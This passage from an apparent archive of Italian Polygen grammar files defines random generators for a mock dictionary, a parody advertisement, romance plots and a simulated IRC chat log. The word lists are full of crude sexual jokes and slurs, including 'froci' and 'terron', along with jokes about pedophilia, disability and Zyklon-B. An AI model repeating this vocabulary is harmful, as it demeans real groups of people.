tutti potrebbero capirvi\n" ^ "download: scarica l'intero dizionario in PDF\n" ^ "created: 29/07/2004" ; S ::= Main.html ; PDF ::= Main.pdf ; B ::= (html: "" | pdf: _) ; UB ::= (html: "" | pdf: _) ; It ::= (html: "" | pdf: _) ; UIt ::= (html: "" | pdf: _) ; BR ::= (html: "
    " | pdf: _) ; Main ::= B^(ParolaSost. , ParolaVerb. , ParolaAgg. UB Sost , Verb , Agg) BR ; (*S::= (B.html (ParolaSost UB.html Sost.html | ParolaVerb UB.html Verb.html | ParolaAgg UB.html Agg.html) BR.html); PDF::= (B.pdf (ParolaSost UB.pdf Sost.pdf | ParolaVerb UB.pdf Verb.pdf | ParolaAgg UB.pdf Agg.pdf) BR.pdf);*) ParolaSost ::= (([(Consonante|Digramma)^]Vocale).I^(Sillaba^) | ((Consonante|Digramma)^Vocale).I^[Sillaba^] | Vocale.I^[Digramma^Vocale.I^] ) [Sillaba^[----Sillaba^|+++_^]]^(Consonante^Vocale.F); ParolaVerb ::= (([(Consonante|Digramma)^]Vocale).I^(Sillaba^) | ((Consonante|Digramma)^Vocale).I^[Sillaba^] | Vocale.I^[Digramma^Vocale.I^] )[Sillaba^[----Sillaba^|+++_^]]^((Consonante|Digramma.F)^Coniugazione) ; ParolaAgg ::= (([(Consonante|Digramma)^]Vocale).I^(Sillaba^) | ((Consonante|Digramma)^Vocale).I^[Sillaba^] | Vocale.I^[Digramma^Vocale.I^] )[Sillaba^[----Sillaba^|+++_^]]^((Consonante|Digramma.F)^SuffissoAgg) ; Sillaba ::= >(C:Consonante|M:Digramma.F|D:Doppia)^Vocale.I | ---Ch | -----Q ; Vocale ::= I:(a | e | i | o | ---u )|F:(a | o | e); Consonante ::= b | c | d | f | g | l | m | n | p | r | s | t | v | z ; Coniugazione ::= (a|e|i)^re ; SuffissoAgg ::= (oso|ito|ico|ato|acre|ente|ante) ; Doppia ::= ( X:=Consonante; X^X); Digramma ::= I:(bl | br | cl | cr | -dr | fl | fr | gn | gl | gr | pl | pr | st | tr) | F:(bl | br | cl | cr | fl | gn | gl | gr | mp | mb | nt | nd | nc |-pl | pr | rd | rt | rc | sl | st ) ; Ch ::= (c|g)^h^(i|e); Q ::= qu^(a|e|i|o); Sost ::= It "s." (m | f)^"." UIt "," [It (volg | fig | arc | irr) ^". ," UIt]^(html:_|pdf:"@") Sostantivo.S [^"," Sostantivo.S] ; Verb ::= It "v." (tr | intr)^"." UIt "," [It (volg | fig | arc | irr | rifl) ^". ," UIt]^(html:_|pdf:"@") (Verbo | ((fare|eseguire|realizzare|Verbo) Sostantivo.P)); Agg ::= It "agg." UIt "," [It (volg | fig | arc | irr ) ^". ," UIt]^(html:_|pdf:"@") (((che e' solito Verbo| (degno | pieno | ebbro | egagro ) di Sostantivo.P | simile a Sostantivo.P))); Sostantivo ::= (batman | barbagianni | lin^(S:o|P:i) banfi| lin^(S:o|P:i) toffol^(S:o|P:i) | baldios | carr^(S:o|P:i) armat^(S:o|P:i) | carr^(S:o|P:i) armat^(S:o|P:i) | pipp^(S:o|P:i) franc^(S:o|P:hi) | pipp^(S:o|P:i) carus^(S:o|P:i) | cesar^(S:e|P:i) cade^(S:o|P:i) | pipp^(S:o|P:i) baud^(S:o|P:i) | {cicci^(S:o|P:_"")} e {franc^(S:o|P:hi)} | pipi' | pupu' | simpatia | vas^(S:o|P:i) da notte | taleggi^(S:o|P:_) | poll^(S:o|P:i) di gomma |onanismo | can^(S:e|P:i) | herpes | ParolaSost | coprofagia | pornografia | bidet | cinisello balsamo | uranio 238 | helder | superman | bidet | uov^(S:o|P:a)|cavall^(S:o|P:i) [golos^(S:o|P:i)] | "http://www.goatse.cx" )| (igien|megaloman|pital|terron|bidon|can|clister|coglion|neutron|positron|elettron|sfinter|cerum|dilatazion|untor|naric|liquam|serpent|pub)^(S:e|P:i) | (bitorzol|vespasian|corrad|abatantuon|pisciatoi|escrement|proibizionism|borborigm|letamai|porc|rutt|tacchin|cavall|an|catarr|pel|scrot|cervellett|pestacall|nichilism|pornodiv|perine|pecorin|branzin|metacarp|tars|nan|baff|pols|chiurl|ippopotam|mostr|gioppin|cazz|poll|gallinacci)^(S:o|P:i) | (puzz|naccher|macedoni|lucertol|nutri|talp|melanzan|carrucol|carbonar|amatrician|tartin|reprimend|ascell|chiapp|pecor|trifol|zucchin|unghi|orecchi|[moto^]zapp|focaccin|pizz|merd|maronai|puzzett|sburat|ricott|cazz|capr)^(S:a|P:e) ; Verbo ::=andare|avere|bere|cercare|cominciare|dare|dire|dovere|scaccolar^(e|si)|essere|fare|[in^]cominciare|inviare|piacere|porre|potere|rimanere|sapere|stare|tenere|tradurre|trarre|uscire|vedere|venire|vivere|volere|stravaccare|onanizzare|basirsi|annichilire|ParolaVerb|aprire|arrivare|chiedere | comprendere|concludere|condurre|conoscere|distruggere| coprire|entrare|esercitare|importare|mantenere|passare | persegui[^ta]^re | portare | presentare | prevedere | rendere | rispondere; polygen-1.0.6.ds2/grm/ita/unieuro.grm0000644000175000017500000001616510340417034016746 0ustar enricoenricoI ::= "title: L'Ottimista!\n" ^ "author: Er Poly <mogkogk@hotmail.com>\n" ^ "language: italian\n" ^ "status: beta\n" ^ "topic: poesia, fantascienza\n" ^ "audience: tutti i pessimisti\n" ^ "disclaim: dedicato a Tonino Guerra, nella speranza che rinsavisca presto\n" ^ "created: 12/09/2004" ; S ::= \(_|--pronto P3) (_|++(_|+++ciao|-ohi|----(chi (sei|e') Q [oh])) GIANNI ESCL) (_|--------SPLOTCH ( --[ah V] ci voleva [proprio] ESCL e' (la|l'ennesima|un'altra) dimostrazione che | ((lo vedi che e'),(e' proprio) vero P3,che) )) LOTTIMISMO VIENIDA ; LOTTIMISMO ::= ( +sono OTTIMISTA | l'ottimismo ( ++e' il (+++++profumo |+++>(bromuro|duodeno|prosciutto|motoraduno|profluvio|prolasso) |>(golfino|proscenio|panino|sambuco|prepuzio|dirupo|deodorante) |-->(raggrumo|pianterreno|tartufo|protone|prozac|(cu|rin)^culo) ) della vita | e' il profumo ( +++della fi^(+++c|g)^a | di [quella (gnocca|topa|sorca) di] tua sorella [ESCL "Ah!Ah!Ah!"] | ----dei piedi [a primavera|quando si fa sera] ) | --vola ESCL ESCL [e a volte ti vola (proprio|pure) (nel [buco del] culo|tra le chiappe) [ESCL "Ah!Ah!Ah!"] ESCL] | ----non puo' morire [mai] ) | ( +l'eufemismo | il dadaismo | lo strabismo | il feticismo | l'agnosticismo | il fascismo | ++il buddismo | +++il nudismo | +l'ateismo | ++l'assenteismo | +il catechismo | il masochismo | -----l'LSD | +++l'onanismo | ++l'alcolismo ) e' il profumo della vita ) ESCL NL ; OTTIMISTA ::= ++++++++ ottimista | +estremista | allarmista | tassidermista | feticista | nudista | scambista | assenteista | ++etilista | comunista | fascista | buddista | +masochista | fuori pista | +++onanista | ++alcolista ; OTTIMISTA2 ::= costumista | +antennista | +linotipista | apprendista | automobilista | +autostoppista | batterista | camorrista | mezzofondista | monopolista | ----guastafeste ; VIENIDA ::= ( ( vieni anche tu [qui ALLAUNIEURO|V dai] ESCL NL | [dai ESCL] corri ({[anche tu]} {ALLAUNIEURO}) ESCL NL | [qui] ALLAUNIEURO ) ( (++++ci sono|+ho visto|vedrai) COSECHEVOLANO | ----cerchiamo il piu' (>OTTIMISTA | >OTTIMISTA2) d'^\italia ) ESCL (_|-----NL chi sta meglio di noi Q3) | (++++++++++++vedo|immagina) COSECHEVOLANO ESCL ) NL ; ALLAUNIEURO ::= alla (+"UniEuro"|"Neuro") ; COSECHEVOLANO ::= ( {((X: COSE.A | Y: COSE.B) CHEVOLANO.A).(E|I)} (V|ESCL|P3) {((X: COSE.B | Y: COSE.A) CHEVOLANO.B).(E|I)} ).(X|Y) ; SPLOTCH ::= NL NL "**"^(+++"SPLOTCH"|+++"SPLATCH"|"PLIP"|"SHMERD")^"**" NL NL ("Ah!Ah!"|"Eh!Eh!"|"Oh!Oh!") \ [che bello ESCL] un ( [garrulo] >( +++piccione | ++passerotto | ++++uccellino | avvoltoio) | ^o pterodattilo | condor | pipistrello ) (---ottimista | mi ha [appena] ( ( A: (++depositato|sganciato) un (+++^a [+bella|generosa] (patacca[^ta])|+po') (di|del suo) ottimismo | B: (cosparso|++decorato|riempito|colorato) ) ( (A:in|B:la) faccia | (A:in un'occhio|B:gli occhi) | --(A:sulla|B:la) (camicia|giacca) ) (B:((con un po' del|col) suo|di) ottimismo) ).(++A|B) ) ESCL NL ; COSE ::= E: ( A: ( ++montagne | +lava^>(trici|stoviglie) | sedie | cucine | aiuole | donne [nude] | porte | bombe atomiche | escrescenze | mattonelle | luci[^ne] | astronavi | creature | cose | molecole | forme di vita | tecnologie | mucose | scale ) | B: ( ++macchine | +++commesse | mucche | tapparelle | farfalle | +radio | --stanze | +tastiere | -maniglie | finestre | rondini | +[brave]persone | encefalopatie [spongiformi] | +lampade | pareti | antenne | microspie ) ) | I: ( A: ( ++cani | -asini | +computer | +++scaffali | +oggetti | +stereo | +altoparlanti | tavoli | lavandini | poeti | alberi | delfini | atomi | controsoffitti | morbi di alzheimer | arcobaleni | commercialisti | pavimenti | psicofarmaci ) | B: ( +++telefoni[^ni] | +climatizzatori | +anziani | +frullatori | spacciatori | cellulari | muri | +televisori | -funghi | utensili | -gatti | ++carrelli | lombrichi | +++elettrodomestici | -elefanti | esseri | professionisti ) ) ; CHEVOLANO ::= A: ( +++che > ( +ridono | +++volano | luccicano | --ti aspettano | (ti|mi|ci) amano | parlano (_|----con l'aldila') | si masturbano | --[non] dormono | (tra|+re)^spirano | risolvono (++problemi|equazioni) | vibrano | ammiccano | mangiano | ti vogliono [conoscere] | escono da sottoterra | (mi|ti) seguono | (mi|ti) sorridono | si drogano | cantano | [mi|ti] (++vendono|offrono|regalano) la droga | si grattano | si prendono cura di (me|te) | si lasciano (accarezzare|toccare) ) | (I:superdotati|E:ancora vergini) | invisibili | trasparenti | fosforescenti | giganti | ------senzienti | piccolissim^(I:i|E:e) | --copert^(I:i|E:e) di [soffice] (lanugine|muffa) | ----intelligenti | pien^(I:i|E:e) (d'aria|di idee|di droga) | colorat^(I:i|E:e) | nel cielo | fra le nuvole | dappertutto | sorridenti | iridescenti | [che (risplendono|(mi|ti) riempiono (l'aria|il culo))] di mille colori ) | B: ( +++che > ( non (puzzano|++inquinano) | godono | ---scopano | +pensano | vanno in retromarcia | ----esplodono | ---giocano | cinguettano | +fanno l'amore | +sognano | scodinzolano | -prendono il (metadone|prozac|viagra) | +cadono dal cielo | ++si muovono | ++sanno di buono | [ti] ascoltano | zompettano | (mi|ti) (+++guardano|fissano) | ++appaiono dal nulla | +si programmano da sol^(I:i|E:e) | vanno a metano | hanno un buon (odore|sapore) | camminano | ballano ) | [che >(gorgogliano|copulano|corrono)] felici | +con > ( la coda | due teste | il reggiseno | i capelli | +++le >(ali | calze a rete | scarpe | ruote ) | ----cento occhi ) | col marsupio | commestibili | dalle mille forme | rivestit^(I:i|E:e) (+++d'alluminio | di uranio) | di un'altr^ >(----o mondo|o pianeta|a dimensione|a galassia) | a manovella | ----triangolari | ultrapiatt^(I:i|E:e) ) ; GIANNI ::= \ ( gi^(aa(^aa)+)^nn^(ii(^ii)+) | ----------s^(ii(^ii)+)^lvi^(oo(^oo)+) ) ; P3 := ^"..." ; Q := ^"?"\ ; Q3 := ^"???"\ ; ESCL ::= ^ ("!" | -"!!!"[(^"!")+]) \ ; V := ^","; NL := ^"\n"^\;polygen-1.0.6.ds2/grm/ita/trameromantiche.grm0000644000175000017500000001111010340417034020423 0ustar enricoenricoI ::= "title: Trame romantiche\n" ^ "author: Lapo Luchini <lapo@lapo.it>\n" ^ "language: italian\n" ^ "status: newborn\n" ^ "topic: romance\n" ^ "audience: tutti\n" ^ "comment: no\n" ^ "created: 2005/08/21"; S ::= Storia; Storia ::= (Init ::= ""; \(ci ritroviamo in|la nostra storia ha inizio presso|la cornice della nostra storia "è") (Luogo Distanza).(M|F) ^";" (NomeEroe1 ^"," Parentela).(M|F) NomeParente1 ^"," Amore (NomeEroe2 "che," [pur] essendo Parentela (NomeParente2.) ^"," Consequenza (condividere|apprezzare|rassegnarsi al^) la cosa).(M|F) ^".\n"^\ (contrariamente a quanto potremmo pensare|prevedibilmente|stranamente| per la legge del taglione|per vendetta|casualmente|incredibilmente| senza particolari motivi|di conseguenza|irrazionalmente|inaspettatamente) (NomeParente1 ^"," che (segretamente|come tutti tranne (NomeEroe1|NomeEroe2) sanno) "è" Ind Ruolo).(M|F) ^"," Azione (NomeParente2 che Consequenza (diventare|smettere di essere|trasformarsi in) Ruolo).(M|F) ^";" i due ((parlano|discutono) [a lungo]|si fronteggiano|vanno a nuotare assieme| combattono [duramente|all'ultimo sangue|per ore]|si abbracciano [con slancio]| si denudano [[quasi] totalmente]| superano (i confini|i propri limiti|le inibizioni)) e [subito|immediatamente] (decidono|pensano|progettano|ipotizzano|accarezzano l'idea) di (vivere assieme|uccidere Nome|sposarsi|>(andare alla festa|tradire la fiducia) ParentelaDi Nome) ^"."\ (contemporaneamente|nel frattempo|di "lì" a poco|a breve) si scopre che NomeParente3 ^"," Parentela (NomeEroe1|NomeEroe2) "nonché" Ruolo ^"," "è" (un (maschio|ragazzo|uomo|idiota|pazzo omicida)|una (femmina|ragazza|donna|puttana)|frutto di un incesto) ^".\n"^\ (scatta la faida familiare|"È" >(subito guerra|una catastrofe|terribile)) ^":" come (salvare >(il mondo|la pelle)|(migliorare|peggiorare|appianare|inasprire) la situazione) ^"?"\ (interviene|arriva|ci pensa|appare) NomeEroe1 che ^"," pur essendo Ind not^T AggettivoEroe1 ^"," ha il cuore AggettivoCuore e ^"," (durante un Durata [e strappalacrime|ed esilarante] flashback| con una battuta (terribile|divertente|patetica|emozionante)) ^"," risolve il problema ^"."); T ::= M:o|F:a; Ind ::= M:un|F:una; Luogo ::= M:un (parchetto|viale)|F:una (scuola|galassia); Distanza ::= (lontan^T)+|remot^T|dietro casa|irraggiungibile|che conosci| a (secondi|minuti|^d anni) luce da qua|in un'altra "realtà"; Nome ::= M:\(johnny|bruce|jack|luke|ben|will|julian|ryo)| F:\(leilha|maria|julia|mary|jessy|ryoko|meg|nancy); Amore ::= [non] >(ama|odia|sopporta)|si >(innamora|invaghisce) di| si allontana da|prova [una certa [qual]] (attrazione|repulsione) per; Azione ::= infierisce su|sgrida|bacia|guarda|tenta di (uccidere|eliminare|ammazzare|far fuori)| beve un (^a >(birra|vodka|tequila)|cuba libre|rum|bloody mary|succo) con; Parentela ::= (>(figli|-nonn|-portinai|fidanzat|ragazz)^T|(M:fratello|F:sorella)| (cugin^T|F:zia) [di Grado grado]|(M:p|F:m)^adre|nipote| (M:marito|F: moglie)) (ParentelaDi.); ParentelaDi ::= di|del Parentela.M|della Parentela.F; Grado ::= secondo|terzo|quarto; Consequenza := "non può che"|("è"|si (vede|ritrova)) costrett^T a|deve [proprio|assolutamente|quindi]; Ruolo ::= (M: (paladino|cavaliere|eroe|difensore|scudiero|fautore|teorico)| F: (paladina|eroina|fautrice|amazzone)| apprendista) IdealeDi [[^"," IdealeDi] e IdealeDi]; IdealeDi ::= del >(bene|male|terrore|regime|sole)| dello stato| dell'^>(incoerenza|ingiustizia|onanismo|impotenza|oroscopo|astratto|azione|apocalisse)| della >((volgarit|verginit|onest|realt|falsit|sessualit|periodicit)^"à"| simpatia|giustizia|malattia|tracotanza|[com^]passione| (musica|melodia|sinfonia)|magia|melanina|luna)| delle (stelle|((5|7|12) (case|costellazioni|leggi|"realtà"|nazioni))); AggettivoEroe1 ::= >(pedo|necro|porno|audio|geronto)^fil^T|idiota|bastard^T; AggettivoCuore ::= tenero|duro|di cioccolata|di panna|funzionante|debole|da ciclista|palpitante; Durata ::= cortissimo|corto|lungo|lunghissimo|estremamente lungo; (*TODO: convincere parenti e ruoli ad avere sessi associati anche in frasi diverse*) NomeEroe1 := Nome; NomeEroe2 := Nome; NomeParente1 := Nome; NomeParente2 := Nome; NomeParente3 := Nome; RuoloIndParente1 := Ind Ruolo; polygen-1.0.6.ds2/grm/ita/chat.grm0000644000175000017500000004061010340417034016167 0ustar enricoenricoI ::= "title: Chat\n" ^ "author: Alan aka ^anakin^ <alanzap@email.it>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: chat\n" ^ "audience: chatters\n" ^ "comment: lo scopo sarebbe quello di creare un log di una chat in cui i personaggi dai nick improbabili ed inquietanti: fanno annunci (grammatica ANNUNCI di Sandolo); ascoltano metal (grammatica METAL di Manta e Obeso); incollano link inutili (dedicato a [nichel])\n" ^ "created: 4/9/2004"; S ::= (C:=Canale; N:="<"^Nick^"> "; "* Now talking in" C "
    " N ^Saluto Smile^"
    " ^((((((( +++("* "^Nick^(AzioneNick C|" has Quit IRC (Quit: )"|+" is now known as "^Nick|-NP) |---(Domanda|+Link|Chan|Annuncio) ))))^"
    "^)+)+)+)+ ^"
    " N (ma andate[tutti](affanculo|a farvi fottere)|fottetevi|addio|adieu|-ciao|-alla pro^(x|ssima)|-notte|-nuit|-bye)[(stronzi|minkioni|coglioni|teste di (kazzo|minkia))] [Smile] [^"
    "N^" "^[io](stacco|vado|esco|chiudo|quitto) [Smile]] [^"
    "N^" "^(^"per fortuna che ci sei tu " Nick|"salutatemi " Nick^" "^("se rientra"|"se si ricollega") | Saluto^" ..."^Nick^" "^["e" Nick^" "^](un bacio[^ne]|":"^("*"^)+)| Nick^", per piacere se rientra " Nick^" "^(avvertimi|digli che si fotta|digli che vada affanculo)) [Smile]] "
    * Disconnected"); Saluto ::= (sera|ciao|salve|ciau|ciaz)[a tutti]; Smile ::= [Cappello^]Occhi^Naso^[("'"^)+]^Bocca; Cappello ::= "*<|" | "<|"; Occhi ::= ":" | 8 | ";" | "B" | "="; Naso ::= +"-" | -_ | "o"; Bocca ::= ")" | "(" | "D" | "/" | "|" | "O" | "0" | "]" | "[" | "{" | "}"; Canale ::= "#"^[(solo|only|["A"^]tutto|mega|nonsolo|tuttipazziper)]^(Parola)^[^\(mania|italia|urlante|maniacs|sud|nord|"40_60"|"chatD`elite"|".it"|".com")]; Parola ::= \(tuonick^"|"^Numero|brutal|dark|lady|suicide|death|holocaust|metal|kavallett MF|pulcin MF|angel^(o|us)[^"Of"^Parola]|duranduran| suicide|spiral|dirty|corgan[^MF]|zwan|bad|sad|satana|len|daemoni MF|demone| mort MF|depress MF|dekadente|baby|killer|heavy|hard|tomb|forgotten|shit| molk MF|brian|minki MF|sabry|zero|gay|anti[^"-"]^Parola|(mani|testa|occhi|labbra|corna|ali|viso|sguardo|piedi)^"_di_"^Parola| total|antichrist|marylin|manson|heart|love|suicid MF|konigliett MF|sex[^"y"]|fetish|fuck|black| maynard|"dontCry"|ville|valo|korn [MF]|guardianOf^Parola|warrior|vampir MF| dracula|darkness|cyborg|"HIM"|kazzo[^ne]|minkione|god|[dont^]("Trust"|"Believe")^"In"^Parola|bush|darcy|berluska|diBr^(u^)+tto| [super^]tettona|[(super|mini)^]dotato|fic MF|b^(e^)+ll MF|br^(u^)+tt MF|Numero^("cm"|"m"|"kg"|"gr")^|mici[^n^] MF|uccello|cipp MF| (toscano|trentino|romano)[^Numero]|stronz MF|"CAM"|(("F"|"M"|"CAM"|"GAY"|"TRANS")^"x"^("F"|"M"|"CAM"|"GAY"|"TRANS"))|maschio|trans|trav|bsx|cerco|offro| ("666"^)+|(("six"^)+)+|(("69"^)+)+|g^((("r"^)+)+)+^l| Noun|Verb| (* METAL.grm *) Soggetto (* ANNUNCI.grm *) ); MF := ^(+++a|+++o|---uccio|---uccia)^; AzioneNick ::= ^" "^(has (joined|left)); Nick ::= \(Pezzo)+[(^"["^Stato^"]"|^"{"^Stato^"}")+]; Pezzo ::= Accessori^Parola^Accessori; Accessori ::= ( ("^"^ | "_"^ | "`"^) | +++_)^; Cifra ::= (1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9); Numero ::= (Cifra^)+; Stato ::= (away|studying|studi MF|cod^(ing|MF)|doccia|guitar|out|tv|divx|buaAlPancino|triste| nopvt|si\^(veste|trucca|spoglia)|gnam|magn MF|papp MF|work[^ing]|"nonc`e"|pigiama|film| watching^Parola|pensa|happy|felice|depress MF|(zZz^)+|sleeping|"pipi`"| bagno|aDopo|photoshop|dreamweaver|disegn MF|cant MF|suon MF|prot|web|navig MF| (cs|quake|doom|ut|tetris|arkanoid|larrySuite|colin|fifa|worms)^Numero|pipp MF|sigaretta|lecc MF[^Parola]|mare|piscina|spiaggia| inCentro|cinema|stupr MF|dying|rolling|canna|fum MF|uncinetto|canasta|poker|briscola| sega|pompino|pompa|mtv|forum|bocce|tennis|volano|pingpong|cucina|in^("Bagno"|"Cucina"|"Soggiorno"|"Garage"|"Cantina"|"SalaDaPranzo")| rubaMazzetto|scarabeo|ippica|melrosePlace|beverlyHills|"GF"|puffi|costanzoShow|portaAPorta|Parola); InizioFrase ::= "<"^Nick^"> "; FineFrase ::= [Smile] ""; Domanda ::= InizioFrase( [ma] "nessuno" (parla|chatta|scrive|"e' vivo"|risponde)^"?"|"chi chatta con me?"|"c'e'" (qualcuno|nessuno|anima viva)"?" |("avete visto"|"qualcuno conosce"|"conoscete"|"e' entrato"|"e' uscito"|"e' quittato")^" "^Nick^"?"|"che" (palle|noia|coglioni|(merda|cesso|schifo) di canale) |Nick^" "^[rispondi al]^" PVT"|[chi mi spiega](come si cambia|come si registra un) "nick?"|Nick^" ci sei?"["ti va di chattare?"|"da dv dgt?"|"km t km?"|"sei m o f?"] |"siete tutti bot?"|"ci sono"(fighe|gnocche|donne|femmine|f|maschioni|effeminati|gay|trans|trav)^"?" |(attenti|attenzione)^", "^Nick^" "^(si spaccia per|finge di essere|[non] credo sia)^" "^(+Nick|f|m)|Nick^", perche' non" [mi] "rispondi?" |+"cerco" Cerca )FineFrase; Link ::= InizioFrase( R:=(Parola|Stato|Soggetto)[-^"+"^(Parola|Stato|Soggetto)^]; L:=(++"http://www.google.it/search?hl=it&q="^R^"&meta=&btnI=on" |--"http://images.google.it/images?q="^R^"&hl=it" ); ""^("www."^(Parola^)+^"."^(it|com|net|org))^"" )FineFrase; Chan ::= InizioFrase [(venite su|accorrete su|entrate in|vi aspetto su)] Canale FineFrase; (*******************************************************) (********** grammatica METAL di Manta e Obeso **********) (*******************************************************) NP ::= " np" \Group "-" Cifra "-" \Title "["^Numero^" kbps |" (mono|stereo|dolby[digital])^"]" ; Group ::= (--Prefix^ | _) >(Adj.(++NOa|a) \Noun | [Noun\ | Adj.NOa\] Adj.a) | (Noun.(pre|post).S \Verb.er [^s] | Verb.er [^s] of \Noun) | Noun of \Noun | Prefix ^ Noun | Noun.pre.S ^ Noun.(+post|pre).(S|P) ; Title ::= [[Adj.NOa] Noun in] Place | in Place | (Noun.P and Noun.P).(pre|post) | the Noun.P.(pre|post) of Noun | [Adj.NOa] Noun.P.(pre|post) (from | across | to) Where ; Prefix ::= + necro |+ anti |+ neo | phylo |- intra | mega | mano ; Adj ::= NOa: >( impaled | immortal | bastard | northern | grim | brutal | anal | sodomized | infernal | frostbitten | rotting | cannibal | lusty | dark | enchanted | dethroned | painful | inverted | [un^]holy | black | transylvanian | carpathian | damned | elven | insane ) | >( semitic | apocalyptic | antarctic | ar[^c]^tic | metallic | diabolic | nordic | maniac | necrotic | romantic | androgyn | virgin | (c | k)^eltic | phobic | mysantropic | satanic | erotic | gothic | [neo^]lithic | heretic | sybillic ) (a: ^a | NOa: [^al | ^ous]) | >( transylvan | carphath | amorph | androgyn | malevolent | perfyd | urban | christian | obscur | sybillin | ap^[h^]ost^[h^]ol | arcan | ultracorp | chron ) (a: ^(ia | a | ica) | NOa: ^([i^]ous | is | ic[^al])) ; Verb ::= >( slay | sodomiz | trash | tortur | grind | kill | reap | steal | butch | murder | burn | fight | destroy | masturbat | summon | push | worshipp ) (er: ^er) | >(tortur | sepultur | muratur | mutilator) (er: ^er | a: ^a) | inf: >(dig | rip | rule) | er: >(digger | ripper | ruler) ; Noun ::= post: >( lord | cathedral | darkness | mud | massacre | blood | frost | annihilation | suffocation | christ | devastation | men | legacy | dissection | fatality | summoning | defecation | mutilation | gore | victory | damnation | violence | sodomy | erection | faith | devotion | >( grave | whore | cradle | sword | cunt | craft | pentagram | guardian | gate | king | corpse | house | forest | wizard | warrior | carcass (S: _ | P: ^e) | crown | beast | land | funeral | triumph | god | throne | dawn | bell | cage | tale | chronicle ) (S: _ | P: ^s) ) | pre: >( steel | dark | power | death | cross | porn | shit | void | pain | rage | fire | doom | satan | hate | cynic | black | creation | silver | other | >( stone | dragon | guard | night | [twi^]light | shadow | rune | tomb | winter | autumn | war | battle | hell | soul | devil | d^[a^]emon ) (S: _ | P: ^s) ) ; Place ::= "Hell" | "Norway" | the sky | "Valhalla" | the >( + land | forest | valley | hills | wood | waste | desert | mountains | peak | shadow[^s] | island | isle[^s] | house ) of >( [im^]mortals | "Satan" | porn | lore | imagination | sodomy | violence | "Death" | perversion | massacre | the king[^s] | the "Beast" | [the] elves | "Hell" | "Chaos" | [the] "Helder" | doom ) ; Where ::= Place | (no | else)^where | (another |+++ the Noun.pre.S) (side | world | dimension) ; (*******************************************************) (************ grammatica ANNUNCI di Sandolo ************) (*******************************************************) (* Il 99% del testo di questo sottostante delirio e' stato preso da una mail *) (* di "Fabio Calissi" (cut&paste della mail), postata *) (* sul newsgroup it.hobby.umorismo. Io (sand) ho aggiunto qualcosina, ho *) (* messo il tutto in formato grammaticaPerPolygen, poi qualcuno come _lobo *) (* mi ha suggerito qualche correzione :P -sand *) Annuncio ::= InizioFrase (Gh Soggetto | Soggetto Gh) [^"," (Male|Amante) ^"," ] ((Cosa Azione) | (cerca|offre) Cerca Per) ^"."\ [(astenersi | no) Finale ^"."\ [si Finale ^"."]] \ (chi e' interessato (mi queri|"in PVT") |[a chi] "interessa?" |(qualcuno|nessuno) (interessato|disponibile)^"?" |querami ) FineFrase ; (* soggetto godrebbe guardando (condizionale, gerundio) *) Cosa ::= coronerebbe sogno | godrebbe | si sentirebbe realizzato | eiacula | saltella di gioia | si convertirebbe al >(cristianesimo | buddismo | ateismo | fancazzismo | masochismo | fanatismo religioso | travestitismo | polimorfismo) | sorseggierebbe >(ambrosia | nettare | sperma | vino novello | coca cola | fanta | orina | melma | lava) | si impiccherebbe | passerebbe al >(^la (cocaina | speed | ketamina | novalgina) | ^l'eroina) | racconterebbe propria vita a "Maria De" "Filippi" | esploderebbe | distruggerebbe presepi | impersonerebbe "Maga Mago'" ; Soggetto ::= pensionato | boscaiolo | metronotte | uomo | baffo | muratore | palestrato | monaco | nano | arrotino | monarca | nazista | cantastorie | ruttatore | palombaro | barbone | fotografo | operaio | professore | pugile | prete | gigolo' | faraone | pifferaio | maniscalco | spazzacamino | pagliaccio ; Gh ::= rumeno | intrepido | 40enne | sorridente | tetraplegico | esuberante | acrobata | arrendevole | dolcissimo | incoerente | giovane | abile | edonista | ciclista | menomato | attempato | focomelico | barese | diabetico | alcolizzato | mutilato | ceruleo ; Male ::= privo degli arti | bisessuale | fine esteta | vittimista | ex cameriera | barba petto villoso | fisico asciutto | amante passeggiate (lago | discarica | cimitero) | amante frittate di merdura | amante travestimento | sabaudo | segreto esoterista | amante giochi telefonici | miope | ottima famiglia | affetto vertigini | (lieve | grave ) difetto fisico | cartomante esperto | passivo | ossessionato findus ; Azione ::= officiando rito orgiastico sabbatico [Con] | +se Soggetto Gh mi Mi [recitando (ricette di sughi | la divina commedia | l'amleto)] | masturbandosi ferocemente assistendo sevizia propio clone su sedia a dondolo da parte di Soggetto Male | dipingendo ad aerografo col culo | pigolando con indosso sandali e bermuda verso masculo 30enne Gh | conoscendo Male con problemi prostata | appellandosi santa inquisizione causa ossessione ragadi | invitando coppia buttafuori effemminati a escursione casa mia | conoscendo burattinaio Male per notti all'insegna del comando | trovando pollastrina con intensa ovulazione che gli cachi nel piatto a scopo alimentare | cedendo colf ermafrodita zoppa in cambio di un tavolino a 3 piedi [anche traballante] | confezionando pratici astucci penici illustranti racconti celebri figure di merda | trovando orsacchiotto autoritario per essere iniziato ai piaceri della passivita' | trovando nano da lancio per serate sportive all'insegna della gommapiuma | trovando difensore ufficio Male | abdicando scopo amicizia in favore di [grottesco] Soggetto bendato | cambiando sesso scopo propria elezione a papessa col nome "Cinzia I" | conoscendo scopo tortura incompetente studentessa obesa soggiogata "TV" | trovando impiego tuttofare ; (*Mi ...*) Mi ::= irrora di pioggia dorata | (caga | vomita ) sul >(petto | volto | ^l'addome | ventre | ^le (gambe | braccia) | divano | ritratto di famiglia | busto del "Duce" | ^la porta di casa | ^l'orologio | menisco | ^l'ombelico | ^la stampante | ^la tastiera | frigorifero | computatore | modem | ^le scarpe | ^lo stereo | ^la madre | ^l'obelisco egiziano | feticcio di "Berlusconi" | ^l'artefatto >(africano | mongolo | zelota | cristiano | turco | neozelandese) | mondo) | pota le aiuole | presenta "Topo Gigio" | regala gardenia rampicante [transgenica] ; Con ::= con (coppia di nani (mutilati | sordi | zoppi) | "Sbirulino" e "Dodo'" | "Maurizio Costanzo" | il "Gabibbo" | "Satana" | Amante | Soggetto (Gh | Male)) ; Finale ::= (pelo sintetico | gas | colori ad olio | chemioterapia | odontoiatri | "Capitan Hook" | mercenari | "HIV" negativo | comunella | torquemada | cotto montecchi | omicidio | cuoio | faraone | fagiane | superquark | blackEdecker | frusta | azzeccagarbugli | problemi statura | allergia ebano | manette di pelo | scarpe | lingua | rap | figli | trans | froci) ; Cerca ::= arto (ortopedico | mutilato | uncinato) con (fallo | vagina | utero | santino di "Jovanotti") vibrante | [interessante] incarico come betoniera e Amante | propio clone | sella e morso equini | Soggetto Male | manganello nero | "Zyklon-B" | gemelli siamesi | capretto mentulato [modello chiazzato] | nani di gesso | 